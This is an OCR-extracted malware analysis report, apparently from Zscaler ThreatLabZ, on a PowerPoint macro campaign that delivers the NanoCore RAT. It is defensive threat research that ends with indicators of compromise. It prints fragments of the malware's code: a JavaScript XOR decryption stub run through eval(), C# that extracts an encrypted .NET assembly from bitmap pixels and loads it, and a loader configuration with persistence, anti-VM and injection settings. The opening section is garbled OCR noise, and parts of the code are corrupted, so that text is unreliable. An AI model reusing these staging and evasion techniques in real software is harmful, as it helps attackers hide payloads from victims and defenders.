Y735 TEYI0%50% 68 6L 71573522420 3755846085604 5Cr 745 6aTCI6E4 254255485403 425 51561350 TA 6B TESTEN 633774 603 645544 6B 6£5 7T 743704 711 6d3TCN 663 5a 61 TE36AYTEITINTE 6T 404 TR T14T2
363735 Thy Ses 6oy TN TIS 60y T 7556205513 7dY T 613255395215 235283278 TEA 2132 65264204204 T6¥ 2552042821525 6dT2 13239 2d% 2352237852742 T32b Y2 14235 6cdu 273215214244 6oy Tey Te3 754 344 64%65%
15603 T6Y TS 6E¥ 645603 76Y 345665701 TSF 655 735 6d3 Tal 675 7y 604 643425 3R 45T TE4252352342e53 15235215 545434 L5 654565 5522414505 195 0£5 904 715 605 625 7oy 64525 655 6a%6C% 625 T0¥2d¥2 135045
55605725 Fhe 755 ThE 365 525 695613715775 2152 5355525 615 6a% 553724 654 Tds 615254 214 4b% 4d% 405 5cls 663 565 70% Gt 7ds Tes A5 774 6ot 675535 6a% 635 70X T25 745774 615 7dk 655 5a% 6a 755 fas 74575714 61544
3705735733615 735 TEIS5A5EH3 715735 6b3 T2 714645 535 7o Tas 615413 925455983 T8 7233 742553432132 35232757642 13265203 205205 7632532052032 15203603215 235 203233225 7852752 742b3 215233 643273
21%21%249% 6b5TexTes 755 3ds 695655713 6d5 T TS 6es 645 6asTAY 345665705755 655735645 7a 675 615705 6asTas 405 T457as 515235235264 315 235215545904 405 655 564545225 145 0b% 195 0F% 505 624 Tas2353b% 6
b%36527545%215425 724665625 7L16bs 545625683685 645 TC¥20%23353527423%28%26321553%20%255%20%205235%62%2e%525%2B%23524471522%22%2e527522568%23%20320%23%21576%21320%29%25%255 Te%235%21
5273255214355 2452352052242 T 595 22%2 152852042 756b%2 1265254205205 65%25%20%2a%2 132037152 1%2352d5235225 765273205 155 0bs4a3 655565355515 Tha 755205 205555254205 2a%2 1% 2e3 724213235 2d%
23223 TR TR TR bR 123 6152 TR 2322852 AY 21572320255 20r 205232722255 AL 23324 Eht P20t et R T2 6t Rt es 2R 1A TR 152020525255 T423%2 15275255 21535%24%2352h% 22527 6a%2
2%21%28%20%27%Tb¥21%26%285%20520%68%27%353 775765 613 7d¥ 683 7L% 265 5654253 Tb379% 6a% Sb¥ 645 64%¥20576%60%3d%3a%46%20%6b1 665 7TL% 265685 6Cc% 745 2d%2c%2b328%21%20%29%25%25%28%4e%42559%25%29
5% 335545 2a%2bE A% 2ot 20%2es 575615705355 205 2d% 2 15205205254 25%52 1% Set 6ot fer 46520320y 208 TTR22% 22 2es 27522560 6ot Tas 7O At 2ot 2 2ok 65 484 725 255 205 2a% 215 285 Tak 2ok 285 205 TE 745 TEY
64%6bYZ2L52a%2es 505795 715 2c%2ds 2o 695 745 6a% 2 L5225 695 705795215235 2d%2 35225725 T6%3d%¥3 74365235 2c%2e323%21576% 625735205255 20%20%2357d%61%27%23%28%26%21562%6b3 7343 156357657453
D3 TTE62%E1%26520%205205 Ta%5032252 13 2a%2c3ETE5bE 613 5be3dI I Lr 60E TIRI LR L3 2es 0% 3aY T T 6eE 133 7252 13205205255 255614625 6o 4% 2avactI0s 61¥ 0% 2dY 31526521467 20v20%2a%2032avI0ET]
2% 2%t 2T ey I ot 2et B 1 e 21 0N 20 B2 e T2 212 TR 25 21 622423 2hY 222 TREA% 2221 2at2or 2T 6t 1% 2 6525205 205 20y 2052 £ 6T 208 20528 2ok 3T 205 204308 Tak2a8 285 20%
2e%Z8Y 255 3e% 50 A T2 5% 205 46%20%2 5% 2C% 205235405 o2 TH 23526526521 T0% 4% 72x 725 61 6B% 77 40% 265 20%45%63%39%3av46%26%2 4346529523 24%275323%28%26%2 1520 2o 455245203 2Cv 6T% 2252 L%2b%T
£ 745715 6 TASTONEEH 204 2ALE 1 2t A4 T4 T64 674 50t 764 204 354 P54 604 7182 I8 20N 2eh 2T 2 14 T2H 624 634 GIHZ AL 204 2L ZEA 2N Aok 264 24 2o SORE A Enk Za% 2 Ak 33 LN 42N 2es 2 SHECL ATHEORESHASA T ELAG2E
524546529525 2152 TR 232082652 1% 220k 634204205 ETREDY 224 652082 AN 604205 208 7L 6L EbE LRI T TIN2es 255205235245 608 0L 765648 G4 62052042 1827235 2E%2652 1420k 20%63%2d8 2e% 675 2bR22Y
B3RZL%E5F2driIs 2220 e A 1% 2k i3 20k ZeRaInE L 2o I TR IR 56%2at2er 2% 0% ackiet 2352 1%2ar TOFEI%3CrI0 et I A% ek Aot Tak 7% 715 Tar 5642152052952 55255 T7E 685 7T 705 2ar 475 2052554553
BEAEE26L 24k A6R20L 20t 65 TILEOH2dr 60R 2022422420k 2 TR 22420 6T 264 2 60kt 2o 65k 2ak 2ok 3L T0R22E2 1420k 2ok TR 682 a2 e 20k 20E2be2 £ 2ot 280 2be2bi 24, 2be2be 2052084 2ok I 68 T0R2 TR 2T42be21
FZ3RB61REVE2INABNZER 21N T0R 2025202023 % TS5k 2eka SN 2B 23V 4NN aA2N22% 2ok 2 TRE2RA2RATNICR 2N 2IRZ1NEhRZ 1N Z0R2IRESE 25BN ZeN20 SR 2EN2bREAY2Ck2ANZER2BNILN2520F2aRZ 1Mk 2db2dR2hE
2oh2di2ERd 0k 2akasa fh 2RI TR Tet2 P23 200 26%2 156 2002 5520208234 T182e%2 54204234 248 775225223205 270225 60523420k 2R 234210 655215205 208254255 6dR23% 2142742552 152b3 294294 2e% 6452732
Th2bi21%23%26%2b 654 20% 20565420205 635 2d5 2467424 30% 208 Tde 2ok 24204204 20 TR 0k 744 755355 205 T34 et 774 724 204 224 2bs 315 374 158 0b% 726 61% 714 6d4 A5 655 775 774 714 6B% 12500k 145 0be 48432
#70% 60%74% 6m% T0E Tee 43 2054908645334 345 355358385314 37" + unescape ['%27%25%29%3b') ) ;

L ==

</acripey|

Figure 17: The JavaScript code using a new encoding method for multiple stages.

This method calls eval() two times. The first eval() call corresponds to the JavaScript
function, which is responsible for XOR decryption. The second eval() call corresponds to
executing the script decrypted by the first eval() call.

The XOR decryption stub is as shown in Figure 18.

function j4091617de(s) |
var r = "";:
var tmp = s.s5plit("20540884");
= = unescape(tmp[0]):
K = unescape (tmp[1] + "727461"):
fnf-[( var 1 = 0; 1 < s.length; i++) {
r += String.fromCharCode | (parselnt (k.charlt (itk. length))“s.charCodedt (i) )+-4);
¥
return r;l

Figure 18: The XOR decryption script.

Changes in the final payload
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The final payload downloaded in the newer variants is a NanoCore RAT unlike AZORult or
Revenge RAT observed in previous instances of the campaign. In this specific example, the
MD5 hash of the NanoCore payload is: 35de5¢352023db9d406a835ef7f318e5.

We mention briefly how the NanoCore RAT is encrypted here.

The .NET assembly contains a bitmap image in the resource section as shown in Figure 19.

[# =3l References
=¥ Resources
i WinForms Library, Controls Builder TextBox.resources

4 _:i WinForms Library,Properties,Resources,resources
# 28 WinFaorms,SampleApp.Form1.resources

{1 -

{} winFarms.Library

# “i§ ControlBinder <TDocurnent =

# 4 DocumentloadHandler <TDocument>

# = EnumFilsResult

H 'f’; Expression<T:>

# % FileSystemn

=]
=2

<

Bitmap resource containing encrypted .NET
assembly

Figure 19: The bitmap resource inside the .NET binary.

The bitmap image is accessed from the resource with the

name “WinForms.Library.Properties.Resources”. The encrypted .NET assembly is extracted

from the pixels of the bitmap image. This encrypted assembly is decrypted using an XOR
decryption routine and finally loaded using the Assembly.Load() method.

The relevant code sections are shown in Figure 20.
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byte[] rawAssembly = Class2.grrd(Class2.Zwrfe(Class2.bzsadadaxr(Classl.SFIFSISFF)));

Assembly assembly = Assembly.Load(rawAssembly); <= | o0ads the Decrypted .NET Assembly
MethodInfo entryPoint = assembly.EntryPoint;

this.sdasad(entryPoint);

ProjectData.EndApp();

return "ac®;

}
private void sdasad(MethodInfo x)
x.Invoke{null, null}; Encrypted bitmap image
}
public static Bitmap bzsadadaxr(string x2131) l
{

ResourceManager resourceManager = new ResourceManager("WinForms.Library.Properties.Resources”, Assembly.GetCallingAssembly());
return (Bitmap)resourceManager.GetObject(x2131);

private static byte[] gzrd(byte[] data)
{
byte[] array = new byte[data.Length - 16 - 1 + 1];
Array.Copy(data, 16, array, @, array.Length);
int num = array.Length - 1;
for (int 1 = @; i <= num; i++) XOR Decryption routine

byte[] expr_2E_cp_© = array;
int expr_2E cp 1 = i;

expr_2E_cp_@[expr_2E_cp_1] "= data[i % 16];
}

return array;

}
b
private static byte[] Zwrfe(Bitmap data)

{

ArrayList arraylist = new Arraylist();
int num = data.Width - 1;
for (int i = @; i <= num; i++)

{ Extracts the encrypted payload from Bitma
int num2 = data.Height - 1; vp pay P

for (int j = @; j <= num2; j++)
{
Color pixel = data.GetPixel(i, j);
Color right = Color.FromArgb(@, @, @, @);
if (pixel l= right)
{
arraylList.AddRange(new byte[]
{
pixel.R,
pixel,G,| I

pixel.B
1N

Figure 20: Extracting, decrypting and loading the .NET assembly.

The next stage .NET assembly is a loader that is used to decrypt the final .NET assembly,
which is injected into another process and executed.

Figure 21 shows the configuration of the next stage .NET assembly.
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private struct Structf...

[SstructLayout(LayoutKind.Sequential, Pack = 1)]

private struct Struct?...|

private static string dpass = "NcWRhAJyrzSewT";

private static byte[] PaylLoad = Extra.Unscramble(Extra.XOR_DEC(Extra.loadresource("0SkRTM8"), X.dpass));

private static string k = “e[|e||e||e||e|[[]|||e|le|lelle[II|IIIIIIIIIlellelle||e|le||e|le||e||vz||e||3ess||elle]||]||]e]|ellel||]";

private static string[] aa = Strings.Split{X.k, ||", -1, CompareMethod.Binary);

private static int InjectValue = Conversions.ToInteger(X.aa[®8]);

private static int isStartup = Conversions.ToInteger(X.aa[1]);

private static string StartupName = "vYpntlllYzVR";

private static string MtxName = "CiLhTy";

private static int UAC = Conversions.TolInteger(X.aa[2]); This string contain the boolean flags
private static int Downloader = Conversions.TolInteger(X.aa[4]); which decide the operation performed
private static string DownloaderFileName = X.aa[6];

private static string DownloaderLink = X.aa[5];

private static int AntiVm = Conversions.TelInteger(X.aa[7]);

private static int AntiSB = Conversions.Tolnteger(X.aa[8]);

private static int AntiEm = Conversions.ToInteger(X.aa[9]);

private static int InjPersistence = Conversions.ToInteger(X.aa[28]);

private static int MSG = Conversions.ToInteger(X.aa[29]);

private static string MSGTitle = X.aa[30];

private static string MSGBody = X.aa[31];

private static int MSGButton = Conversions.ToInteger(X.aa[32]);

private static int MSGIcon = Conversions.ToInteger(X.aa[33]);

private static int isDelay = Conversions.Tolnteger(X.aa[34]);

private static Mutex check;

private static int ppid;

private static wvoid ShowMSG(). ..

public static void checkifopen(string mute)..

private static void ProcessPersistence()...

private static void ProcessPersistenceWatcher()... I
public static void AllowAccess(string location)...|

public static void ProtectTheFile(string location),...

private static void Startup(string startupname, string filepath). ..

public static void Sdownload(string Durl, string filerun)l..

Figure 21: The main configuration of the .NET loader.

The final payload is encrypted and stored inside a resource with the name “OSkRTM8”.

This payload is decrypted as shown in Figure 22.

// ReZer®.X
private static byte[] Payload = Extra.Unscramble(Extra.XOR_DEC(Extra.loadresource("0SkRTM8"), X.dpass));
Figure 22: Payload decryption.

This decrypted payload is injected as shown in Figure 23.

// ReZer®.X
private static void StartInject(int injvalue)

X.Run(X.GetInjectionPath(injvalue), X.PaylLoad, true)ﬂ

Figure 23: The code injection invocation.
The MD5 hash of the injected payload is: 7679fec5f6bf7206635b96efa52d1d07.

Below are relevant strings from the binary which indicate it is NanoCore.
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00000000FEF5 000000411CF5 0 NanoCore Client

00000000FF05 000000411D05 0 NanoCore Client.exe

And the configuration used by this instance of the NanoCore RAT is shown in Figure 24.

Figure 24: The NanoCore RAT configuration file.

The C&C server is listening on port 54932 at the IP address 216.170.114 .4.

Cloud Sandbox detection

Figure 25 shows the Zscaler Cloud Sandbox successfully detecting this PowerPoint-
based threat.

@5>zscaler Cloud Sandbox ®
SANDBOX DETAIL REPORT ®HghRsk  ® Mogerte Fisk  © Low Risk =
Report ID (MDS5): 0B0B570451 B699D96CTOEBF400626CAA Analysis Performed: 07/04/2020 13:16:16 File Type: ppt

CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS

Class Type Threat Score Checks For Kemel Debuggers

Malicious Found A High Number Of Window / User Specific System

94 Calls
Category No known Malware found

Mal & Botnet | [ || Executes Massive Amount Of Sleeps In A Loop
alware otne

NETWORKING cu STEALTH € SPREADING
* Snort IDS Alert For Network Traffic (H) Very Long Cmdline Option Found Creates COM Task Schedule Object
* Snort IDS Alert For Network Traffic (M) Obfuscated Command Line Found

Document: Performs DNS Queries Suspicious Powershell Command Line Found

Connects To A Pastebin Service Disables Application Error Messages

Document: Generate TGP Traffic Document Contains Embedded VBA Macros

Downloads Files From Web Servers Via HTTP
Found Strings Which Match To Known Social Media URLs

Figure 25: Zscaler Cloud Sandbox detection.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects
indicators at various levels.
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https://www.zscaler.com/products/sandboxing

Conclusion

This threat actor combines multiple stages in the infection chain to make detection difficult
over the network. The tactics, techniques and procedures (TTPs) used by this threat actor
are also evolving with time.

As an extra precaution, users should not enable macros for Microsoft Office files that are
received from untrusted sources since these macros have the capability to run malicious
code on your machine.

The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to
help keep our customers safe.

Indicators of compromise

PowerPoint files, old variant

f934dc6b441789365d5aa64 1bbf8ef3f
0b0b570451b699d96c70ebf400628caa
b825645e1132c77550d14503974c9ea?2
89e3d26cdc862e47d6c7d665135e28d6
dc01e01fea24cf2f2a208d62e219889b
16ac16400e2f1f125664b62c16be9c88
4cfea775333d107ec43d621aa4c9968b
4d299bee18901eb48929f3b493f65699

cd425ac433c6fabb79eecbdd385740ab

PowerPoint files, new variant

bbe077e2cd3c321427a16557d26a3438

cc53f0a1a256678ba7d79aa475128d9c

7db36d502e4a1d35873c8a0c51bafbbf

13ae5088ae7e5ac1335a573d52befabc

7083ee8cabbf500a3b286b80278f9fe
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2d3b0a3369e7a33b5c3e3115d7fa5a58
9f8db1103850e43681ea79cec06e13c7
56b4f3bc5b500d4120b55ff3dcaf1cc9
5d926baebc76e8b86192c205¢c49¢cd195

f35b21cf37fbdae346858b490a0f230a

Network IOCs

23.247.102[.]10/manabotnet/index.php
23.81.246[.]150/manabotnet-stryka/index.php
won2020.duckdns[.]Jorg:3090

216.170.114[.14: 54392

Pastebin users

https://pastebin[.Jcom/u/lunlayloo
https://pastebin[.]Jcom/u/redcobalt

https://pastebin[.Jcom/u/gogga7
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